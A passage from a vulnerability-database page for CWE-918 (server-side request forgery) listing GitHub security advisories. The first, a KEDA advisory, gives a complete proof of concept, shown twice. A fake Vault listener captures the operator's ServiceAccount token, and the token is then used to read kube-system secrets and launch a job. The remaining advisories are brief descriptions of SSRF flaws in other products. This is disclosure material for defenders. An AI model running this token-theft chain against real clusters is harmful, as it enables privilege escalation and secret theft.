CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6723 vulnerabilities reference this CWE, most recent first.
GHSA-637C-6JXX-4RWM
Vulnerability from github – Published: 2026-10-15 20:19 – Updated: 2026-10-15 20:19Summary
A namespace admin who creates a TriggerAuthentication and a ScaledObject in their own namespace can make the KEDA operator send its own ServiceAccount token to a tenant-controlled URL. That token holds ["*"]/["*"] get cluster-wide, so it reads every Secret in every namespace, plus batch/jobs and horizontalpodautoscalers create/delete cluster-wide, */scale update on any workload, validatingwebhookconfigurations update (rewrite or disable cluster admission), and apiservices update (hijack aggregated API routing). This is effectively privilege escalation from namespace admin to cluster admin in real environments: a cluster-wide Secret read alone is enough to find a token for a more privileged ServiceAccount, and the cluster-wide batch/jobs create lets the attacker run a workload in any namespace whose Pod Security Admission level permits it (or that is PSA-exempt, such as kube-system , kyverno) to reach the node filesystem and a control-plane kubeconfig.
This is an incomplete fix of CVE-2025-68476: its content filter only requires the loaded file to be a JWT whose subject begins with system:serviceaccount:, which the operator's own projected token satisfies by construction. The destination field hashiCorpVault.address is unvalidated.
Finder credits: Artem Cherezov @cherez0ff, with Claude Opus 4.8
Verified live
kind v1.31.2, kedacore/keda v2.20.0 (latest at the time of audit, https://github.com/kedacore/keda) installed from the unmodified release manifest keda-2.20.0.yaml (ghcr.io/kedacore/keda:2.20.0), default settings.
Preconditions
- The tenant holds
createontriggerauthentications.keda.shandscaledobjects.keda.shin its own namespace (the documented KEDA tenant workflow), plus the built-ineditClusterRole in that namespace. Often granted by a namespaced admin Role (--verb='*' --resource='*.*') in multi-tenant environments. - KEDA is installed with default settings.
Reproduction
Cluster preparation (not part of the attack)
kind create cluster --image kindest/node:v1.31.2 --name keda-poc --kubeconfig ./kubeconfig
export KUBECONFIG=./kubeconfig
# Install KEDA v2.20.0 (unmodified vendor release manifest).
curl -sSL -o keda-2.20.0.yaml https://github.com/kedacore/keda/releases/download/v2.20.0/keda-2.20.0.yaml
kubectl apply --server-side -f keda-2.20.0.yaml
kubectl wait --for=condition=Established crd/triggerauthentications.keda.sh crd/scaledobjects.keda.sh --timeout=120s
kubectl -n keda rollout status deploy/keda-operator --timeout=180s
# Tenant identity: namespace admin in tenant-a.
kubectl create namespace tenant-a
kubectl -n tenant-a create serviceaccount tenant
kubectl -n tenant-a create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-a:tenant
kubectl -n tenant-a create role tenant-keda --verb=create,get --resource=triggerauthentications.keda.sh,scaledobjects.keda.sh
kubectl -n tenant-a create rolebinding tenant-keda --role=tenant-keda --serviceaccount=tenant-a:tenant
# Mint a tenant kubeconfig from a real TokenRequest token.
SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')
TOKEN=$(kubectl -n tenant-a create token tenant --duration=24h)
cat > kubeconfig-tenant <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }
contexts:
- name: tenant
context: { cluster: kind, user: tenant, namespace: tenant-a }
current-context: tenant
users:
- name: tenant
user: { token: ${TOKEN} }
EOF
# Seed a "secret" canary in kube-system to make impact self-evident.
kubectl -n kube-system create secret generic poc-canary --from-literal=canary=KEDA-F1-CANARY-7f3a9c2e
Attack
- Deploy a listener in the tenant namespace that impersonates a HashiCorp Vault server. It logs the login request body and replies with a well-formed Vault auth envelope. The KEDA operator uses the Vault Go client, which issues the login as an HTTP
PUT, so the listener must accept all methods.
kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'
apiVersion: v1
kind: ConfigMap
metadata: { name: fake-vault-src, namespace: tenant-a }
data:
vault.py: |
import http.server, socketserver, sys, json
class H(http.server.BaseHTTPRequestHandler):
def log_message(self,*a): pass
def _h(self):
ln=int(self.headers.get('Content-Length') or 0)
body=self.rfile.read(ln) if ln else b''
sys.stdout.write("VAULT-LOGIN %s %s\n%s\n"%(self.command,self.path,body.decode('utf-8','replace'))); sys.stdout.flush()
r=json.dumps({"auth":{"client_token":"s.poc","lease_duration":3600,"renewable":True,"policies":["default"]}}).encode()
self.send_response(200); self.send_header("Content-Type","application/json"); self.send_header("Content-Length",str(len(r))); self.end_headers(); self.wfile.write(r)
do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h
socketserver.TCPServer.allow_reuse_address=True
with socketserver.TCPServer(("0.0.0.0",8200),H) as s: s.serve_forever()
---
apiVersion: v1
kind: Pod
metadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } }
spec:
containers:
- name: vault
image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203
command: ["python3","/src/vault.py"]
volumeMounts: [{ name: src, mountPath: /src }]
volumes: [{ name: src, configMap: { name: fake-vault-src } }]
---
apiVersion: v1
kind: Service
metadata: { name: fake-vault, namespace: tenant-a }
spec:
selector: { app: fake-vault }
ports: [{ port: 8200, targetPort: 8200 }]
EOF
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s
- Create the
TriggerAuthentication(the primitive) and aScaledObjectwith acrontrigger referencing it. Withauthentication: kubernetesand nocredentialblock, KEDA defaultscredential.serviceAccountto the operator pod's own token path.
kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'
apiVersion: keda.sh/v1alpha1
kind: TriggerAuthentication
metadata: { name: vault-auth, namespace: tenant-a }
spec:
hashiCorpVault:
address: http://fake-vault.tenant-a.svc:8200 # tenant-controlled destination, no validation
authentication: kubernetes
mount: kubernetes
role: poc
secrets:
- { parameter: anything, key: anything, path: secret/data/anything }
---
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata: { name: poc-so, namespace: tenant-a }
spec:
scaleTargetRef: { name: poc-target }
pollingInterval: 5
minReplicaCount: 0
maxReplicaCount: 2
triggers:
- type: cron
metadata: { timezone: UTC, start: "0 * * * *", end: "30 * * * *", desiredReplicas: "1" }
authenticationRef: { name: vault-auth }
---
apiVersion: apps/v1
kind: Deployment
metadata: { name: poc-target, namespace: tenant-a }
spec:
replicas: 1
selector: { matchLabels: { app: poc-target } }
template:
metadata: { labels: { app: poc-target } }
spec:
containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }]
EOF
- The operator reconciles the
ScaledObject, builds the scaler, resolves theauthenticationRef, and PUTs its own ServiceAccount token to the listener as the Vault login body. Read it back:
sleep 20
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault | grep -A1 'VAULT-LOGIN PUT'
# VAULT-LOGIN PUT /v1/auth/kubernetes/login
# {"jwt":"eyJhbGciOiJSUzI1NiIs...","role":"poc"}
- Build a kubeconfig from the stolen token and use it. The token authenticates as the operator ServiceAccount and reads the kube-system Secret the tenant could not read directly:
STOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \
| sed -n 's/.*"jwt":"\([^"]*\)".*/\1/p' | head -1)
cat > kubeconfig-stolen <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }
contexts:
- name: stolen
context: { cluster: kind, user: stolen }
current-context: stolen
users:
- name: stolen
user: { token: ${STOLEN} }
EOF
kubectl --kubeconfig=./kubeconfig-stolen auth whoami
# Username system:serviceaccount:keda:keda-operator
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath='{.data.canary}' | base64 -d
# KEDA-F1-CANARY-7f3a9c2e
# The token also creates workloads cluster-wide via batch/jobs; a Job lands a pod in kube-system.
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c 'sleep 60'
# job.batch/pwn created
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn
# pwn-q5j5s 1/1 Running 0 8s
Root cause
A namespace tenant should not be able to make the operator authenticate to a tenant-controlled server using the operator's own cluster-privileged identity. The destination address is fully tenant-controlled and unvalidated, and the credential the operator presents defaults to its own ServiceAccount token. The content filter added for the prior arbitrary-file-read advisory checks only that the loaded bytes look like a Kubernetes ServiceAccount token, which is exactly the shape of the operator's own token, so it does not constrain the credential to one the tenant is entitled to use.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kedacore/keda"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.5.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/kedacore/keda/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77524"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:19:42Z",
"nvd_published_at": "2026-10-14T17:19:11Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nA namespace admin who creates a `TriggerAuthentication` and a `ScaledObject` in their own namespace can make the KEDA operator send its own ServiceAccount token to a tenant-controlled URL. That token holds `[\"*\"]/[\"*\"] get` cluster-wide, so it reads every Secret in every namespace, plus `batch/jobs` and `horizontalpodautoscalers` create/delete cluster-wide, `*/scale` update on any workload, `validatingwebhookconfigurations` update (rewrite or disable cluster admission), and `apiservices` update (hijack aggregated API routing). This is effectively privilege escalation from namespace admin to cluster admin in real environments: a cluster-wide Secret read alone is enough to find a token for a more privileged ServiceAccount, and the cluster-wide `batch/jobs` create lets the attacker run a workload in any namespace whose Pod Security Admission level permits it (or that is PSA-exempt, such as `kube-system` , `kyverno`) to reach the node filesystem and a control-plane kubeconfig.\n\nThis is an incomplete fix of CVE-2025-68476: its content filter only requires the loaded file to be a JWT whose subject begins with `system:serviceaccount:`, which the operator\u0027s own projected token satisfies by construction. The destination field `hashiCorpVault.address` is unvalidated.\n\nFinder credits: Artem Cherezov @cherez0ff, with Claude Opus 4.8\n\n## Verified live\n\nkind v1.31.2, kedacore/keda v2.20.0 (latest at the time of audit, \u003chttps://github.com/kedacore/keda\u003e) installed from the unmodified release manifest `keda-2.20.0.yaml` (`ghcr.io/kedacore/keda:2.20.0`), default settings.\n\n## Preconditions\n\n1. The tenant holds `create` on `triggerauthentications.keda.sh` and `scaledobjects.keda.sh` in its own namespace (the documented KEDA tenant workflow), plus the built-in `edit` ClusterRole in that namespace. Often granted by a namespaced admin Role (`--verb=\u0027*\u0027 --resource=\u0027*.*\u0027`) in multi-tenant environments.\n2. KEDA is installed with default settings.\n\n## Reproduction\n\n### Cluster preparation (not part of the attack)\n\n```sh\nkind create cluster --image kindest/node:v1.31.2 --name keda-poc --kubeconfig ./kubeconfig\nexport KUBECONFIG=./kubeconfig\n\n# Install KEDA v2.20.0 (unmodified vendor release manifest).\ncurl -sSL -o keda-2.20.0.yaml https://github.com/kedacore/keda/releases/download/v2.20.0/keda-2.20.0.yaml\nkubectl apply --server-side -f keda-2.20.0.yaml\nkubectl wait --for=condition=Established crd/triggerauthentications.keda.sh crd/scaledobjects.keda.sh --timeout=120s\nkubectl -n keda rollout status deploy/keda-operator --timeout=180s\n\n# Tenant identity: namespace admin in tenant-a.\nkubectl create namespace tenant-a\nkubectl -n tenant-a create serviceaccount tenant\nkubectl -n tenant-a create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-a:tenant\nkubectl -n tenant-a create role tenant-keda --verb=create,get --resource=triggerauthentications.keda.sh,scaledobjects.keda.sh\nkubectl -n tenant-a create rolebinding tenant-keda --role=tenant-keda --serviceaccount=tenant-a:tenant\n\n# Mint a tenant kubeconfig from a real TokenRequest token.\nSERVER=$(kubectl config view --minify -o jsonpath=\u0027{.clusters[0].cluster.server}\u0027)\nCA=$(kubectl config view --minify --raw -o jsonpath=\u0027{.clusters[0].cluster.certificate-authority-data}\u0027)\nTOKEN=$(kubectl -n tenant-a create token tenant --duration=24h)\ncat \u003e kubeconfig-tenant \u003c\u003cEOF\napiVersion: v1\nkind: Config\nclusters:\n- name: kind\n cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }\ncontexts:\n- name: tenant\n context: { cluster: kind, user: tenant, namespace: tenant-a }\ncurrent-context: tenant\nusers:\n- name: tenant\n user: { token: ${TOKEN} }\nEOF\n\n# Seed a \"secret\" canary in kube-system to make impact self-evident.\nkubectl -n kube-system create secret generic poc-canary --from-literal=canary=KEDA-F1-CANARY-7f3a9c2e\n```\n\n### Attack\n\n1. Deploy a listener in the tenant namespace that impersonates a HashiCorp Vault server. It logs the login request body and replies with a well-formed Vault auth envelope. The KEDA operator uses the Vault Go client, which issues the login as an HTTP `PUT`, so the listener must accept all methods.\n\n```sh\nkubectl --kubeconfig=./kubeconfig-tenant apply -f - \u003c\u003c\u0027EOF\u0027\napiVersion: v1\nkind: ConfigMap\nmetadata: { name: fake-vault-src, namespace: tenant-a }\ndata:\n vault.py: |\n import http.server, socketserver, sys, json\n class H(http.server.BaseHTTPRequestHandler):\n def log_message(self,*a): pass\n def _h(self):\n ln=int(self.headers.get(\u0027Content-Length\u0027) or 0)\n body=self.rfile.read(ln) if ln else b\u0027\u0027\n sys.stdout.write(\"VAULT-LOGIN %s %s\\n%s\\n\"%(self.command,self.path,body.decode(\u0027utf-8\u0027,\u0027replace\u0027))); sys.stdout.flush()\n r=json.dumps({\"auth\":{\"client_token\":\"s.poc\",\"lease_duration\":3600,\"renewable\":True,\"policies\":[\"default\"]}}).encode()\n self.send_response(200); self.send_header(\"Content-Type\",\"application/json\"); self.send_header(\"Content-Length\",str(len(r))); self.end_headers(); self.wfile.write(r)\n do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h\n socketserver.TCPServer.allow_reuse_address=True\n with socketserver.TCPServer((\"0.0.0.0\",8200),H) as s: s.serve_forever()\n---\napiVersion: v1\nkind: Pod\nmetadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } }\nspec:\n containers:\n - name: vault\n image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203\n command: [\"python3\",\"/src/vault.py\"]\n volumeMounts: [{ name: src, mountPath: /src }]\n volumes: [{ name: src, configMap: { name: fake-vault-src } }]\n---\napiVersion: v1\nkind: Service\nmetadata: { name: fake-vault, namespace: tenant-a }\nspec:\n selector: { app: fake-vault }\n ports: [{ port: 8200, targetPort: 8200 }]\nEOF\nkubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s\n```\n\n2. Create the `TriggerAuthentication` (the primitive) and a `ScaledObject` with a `cron` trigger referencing it. With `authentication: kubernetes` and no `credential` block, KEDA defaults `credential.serviceAccount` to the operator pod\u0027s own token path.\n\n```sh\nkubectl --kubeconfig=./kubeconfig-tenant apply -f - \u003c\u003c\u0027EOF\u0027\napiVersion: keda.sh/v1alpha1\nkind: TriggerAuthentication\nmetadata: { name: vault-auth, namespace: tenant-a }\nspec:\n hashiCorpVault:\n address: http://fake-vault.tenant-a.svc:8200 # tenant-controlled destination, no validation\n authentication: kubernetes\n mount: kubernetes\n role: poc\n secrets:\n - { parameter: anything, key: anything, path: secret/data/anything }\n---\napiVersion: keda.sh/v1alpha1\nkind: ScaledObject\nmetadata: { name: poc-so, namespace: tenant-a }\nspec:\n scaleTargetRef: { name: poc-target }\n pollingInterval: 5\n minReplicaCount: 0\n maxReplicaCount: 2\n triggers:\n - type: cron\n metadata: { timezone: UTC, start: \"0 * * * *\", end: \"30 * * * *\", desiredReplicas: \"1\" }\n authenticationRef: { name: vault-auth }\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata: { name: poc-target, namespace: tenant-a }\nspec:\n replicas: 1\n selector: { matchLabels: { app: poc-target } }\n template:\n metadata: { labels: { app: poc-target } }\n spec:\n containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }]\nEOF\n```\n\n3. The operator reconciles the `ScaledObject`, builds the scaler, resolves the `authenticationRef`, and PUTs its own ServiceAccount token to the listener as the Vault login body. Read it back:\n\n```sh\nsleep 20\nkubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault | grep -A1 \u0027VAULT-LOGIN PUT\u0027\n# VAULT-LOGIN PUT /v1/auth/kubernetes/login\n# {\"jwt\":\"eyJhbGciOiJSUzI1NiIs...\",\"role\":\"poc\"}\n```\n\n4. Build a kubeconfig from the stolen token and use it. The token authenticates as the operator ServiceAccount and reads the kube-system Secret the tenant could not read directly:\n\n```sh\nSTOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \\\n | sed -n \u0027s/.*\"jwt\":\"\\([^\"]*\\)\".*/\\1/p\u0027 | head -1)\ncat \u003e kubeconfig-stolen \u003c\u003cEOF\napiVersion: v1\nkind: Config\nclusters:\n- name: kind\n cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }\ncontexts:\n- name: stolen\n context: { cluster: kind, user: stolen }\ncurrent-context: stolen\nusers:\n- name: stolen\n user: { token: ${STOLEN} }\nEOF\n\nkubectl --kubeconfig=./kubeconfig-stolen auth whoami\n# Username system:serviceaccount:keda:keda-operator\n\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath=\u0027{.data.canary}\u0027 | base64 -d\n# KEDA-F1-CANARY-7f3a9c2e\n\n# The token also creates workloads cluster-wide via batch/jobs; a Job lands a pod in kube-system.\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c \u0027sleep 60\u0027\n# job.batch/pwn created\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn\n# pwn-q5j5s 1/1 Running 0 8s\n```\n\n## Root cause\n\nA namespace tenant should not be able to make the operator authenticate to a tenant-controlled server using the operator\u0027s own cluster-privileged identity. The destination address is fully tenant-controlled and unvalidated, and the credential the operator presents defaults to its own ServiceAccount token. The content filter added for the prior arbitrary-file-read advisory checks only that the loaded bytes look like a Kubernetes ServiceAccount token, which is exactly the shape of the operator\u0027s own token, so it does not constrain the credential to one the tenant is entitled to use.",
"id": "GHSA-637c-6jxx-4rwm",
"modified": "2026-10-15T20:19:43Z",
"published": "2026-10-15T20:19:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kedacore/keda/security/advisories/GHSA-637c-6jxx-4rwm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77524"
},
{
"type": "WEB",
"url": "https://github.com/kedacore/keda/commit/1e21cc798dedd079e696cdb45388eddc5e18365d"
},
{
"type": "PACKAGE",
"url": "https://github.com/kedacore/keda"
},
{
"type": "WEB",
"url": "https://github.com/kedacore/keda/releases/tag/v2.21.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication"
}
GHSA-637P-MQW3-H377
Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45An issue has been discovered in GitLab affecting all versions starting from 13.2. Gitlab was vulnerable to SRRF attack through the Prometheus integration.
{
"affected": [],
"aliases": [
"CVE-2021-22178"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-24T17:15:00Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab affecting all versions starting from 13.2. Gitlab was vulnerable to SRRF attack through the Prometheus integration.",
"id": "GHSA-637p-mqw3-h377",
"modified": "2022-05-24T17:45:16Z",
"published": "2022-05-24T17:45:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22178"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1037411"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22178.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/284819"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-638P-9H38-R62F
Vulnerability from github – Published: 2024-07-20 09:30 – Updated: 2024-07-20 09:30Server-Side Request Forgery (SSRF) vulnerability in WappPress Team WappPress.This issue affects WappPress: from n/a through 6.0.4.
{
"affected": [],
"aliases": [
"CVE-2024-38758"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-20T08:15:15Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in WappPress Team WappPress.This issue affects WappPress: from n/a through 6.0.4.",
"id": "GHSA-638p-9h38-r62f",
"modified": "2024-07-20T09:30:36Z",
"published": "2024-07-20T09:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38758"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wapppress-builds-android-app-for-website/wordpress-wapppress-plugin-6-0-4-blind-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-63M9-CRQW-HP28
Vulnerability from github – Published: 2025-10-11 12:30 – Updated: 2026-04-08 18:33The WP Scraper plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.8.1 via the wp_scraper_extract_content function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. On Cloud instances, this issue allows for metadata retrieving.
{
"affected": [],
"aliases": [
"CVE-2025-9975"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-11T10:15:45Z",
"severity": "MODERATE"
},
"details": "The WP Scraper plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.8.1 via the wp_scraper_extract_content function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. On Cloud instances, this issue allows for metadata retrieving.",
"id": "GHSA-63m9-crqw-hp28",
"modified": "2026-04-08T18:33:56Z",
"published": "2025-10-11T12:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9975"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-scraper/tags/5.8.1/wp-scraper.php#L688"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3396219%40wp-scraper\u0026new=3396219%40wp-scraper\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4c72abf9-f63d-4460-8c9b-10e3f65b71ba?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-63P3-C254-6C5G
Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2022-05-13 01:04The WebDAV endpoint in Atlassian Confluence Server and Data Center before version 6.6.7 (the fixed version for 6.6.x), from version 6.7.0 before 6.8.5 (the fixed version for 6.8.x), and from version 6.9.0 before 6.9.3 (the fixed version for 6.9.x) allows remote attackers to send arbitrary HTTP and WebDAV requests from a Confluence Server or Data Center instance via Server-Side Request Forgery.
{
"affected": [],
"aliases": [
"CVE-2019-3395"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-25T19:29:00Z",
"severity": "CRITICAL"
},
"details": "The WebDAV endpoint in Atlassian Confluence Server and Data Center before version 6.6.7 (the fixed version for 6.6.x), from version 6.7.0 before 6.8.5 (the fixed version for 6.8.x), and from version 6.9.0 before 6.9.3 (the fixed version for 6.9.x) allows remote attackers to send arbitrary HTTP and WebDAV requests from a Confluence Server or Data Center instance via Server-Side Request Forgery.",
"id": "GHSA-63p3-c254-6c5g",
"modified": "2022-05-13T01:04:38Z",
"published": "2022-05-13T01:04:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3395"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/CONFSERVER-57971"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-63W7-2RQX-Q97M
Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2026-08-24 18:31Adobe Campaign Classic Gold Standard 10 (and earlier), 20.3.1 (and earlier), 20.2.3 (and earlier), 20.1.3 (and earlier), 19.2.3 (and earlier) and 19.1.7 (and earlier) are affected by a server-side request forgery (SSRF) vulnerability. Successful exploitation could allow an attacker to use the Campaign instance to issue unauthorized requests to internal or external resources.
{
"affected": [],
"aliases": [
"CVE-2021-21009"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-13T23:15:00Z",
"severity": "HIGH"
},
"details": "Adobe Campaign Classic Gold Standard 10 (and earlier), 20.3.1 (and earlier), 20.2.3 (and earlier), 20.1.3 (and earlier), 19.2.3 (and earlier) and 19.1.7 (and earlier) are affected by a server-side request forgery (SSRF) vulnerability. Successful exploitation could allow an attacker to use the Campaign instance to issue unauthorized requests to internal or external resources.",
"id": "GHSA-63w7-2rqx-q97m",
"modified": "2026-08-24T18:31:25Z",
"published": "2022-05-24T17:39:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21009"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/campaign/apsb21-04.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-63W7-6GXR-7JJW
Vulnerability from github – Published: 2022-08-13 00:00 – Updated: 2022-08-17 00:00An issue was discovered in ProxyServlet.java in the /proxy servlet in Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0. The value of the X-Forwarded-Host header overwrites the value of the Host header in proxied requests. The value of X-Forwarded-Host header is not checked against the whitelist of hosts that ZCS is allowed to proxy to (the zimbraProxyAllowedDomains setting).
{
"affected": [],
"aliases": [
"CVE-2022-37041"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-12T15:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in ProxyServlet.java in the /proxy servlet in Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0. The value of the X-Forwarded-Host header overwrites the value of the Host header in proxied requests. The value of X-Forwarded-Host header is not checked against the whitelist of hosts that ZCS is allowed to proxy to (the zimbraProxyAllowedDomains setting).",
"id": "GHSA-63w7-6gxr-7jjw",
"modified": "2022-08-17T00:00:30Z",
"published": "2022-08-13T00:00:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37041"
},
{
"type": "WEB",
"url": "https://wiki.zimbra.com/wiki/Security_Center"
},
{
"type": "WEB",
"url": "https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-644R-P44G-R6G9
Vulnerability from github – Published: 2026-08-17 12:32 – Updated: 2026-08-17 12:32A vulnerability was found in Kira-Pgr PromptShopMCP up to 5bc0cd17358e19a5415d11a531088170d7b81452. Affected is the function download_image of the file server.py of the component Image-Toolkit-MCP-Server. Performing a manipulation of the argument image_url results in server-side request forgery. The attack may be initiated remotely. The exploit has been made public and could be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-74842"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-17T11:16:40Z",
"severity": "LOW"
},
"details": "A vulnerability was found in Kira-Pgr PromptShopMCP up to 5bc0cd17358e19a5415d11a531088170d7b81452. Affected is the function download_image of the file server.py of the component Image-Toolkit-MCP-Server. Performing a manipulation of the argument image_url results in server-side request forgery. The attack may be initiated remotely. The exploit has been made public and could be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-644r-p44g-r6g9",
"modified": "2026-08-17T12:32:22Z",
"published": "2026-08-17T12:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74842"
},
{
"type": "WEB",
"url": "https://github.com/Kira-Pgr/PromptShopMCP/issues/4"
},
{
"type": "WEB",
"url": "https://github.com/Kira-Pgr/PromptShopMCP"
},
{
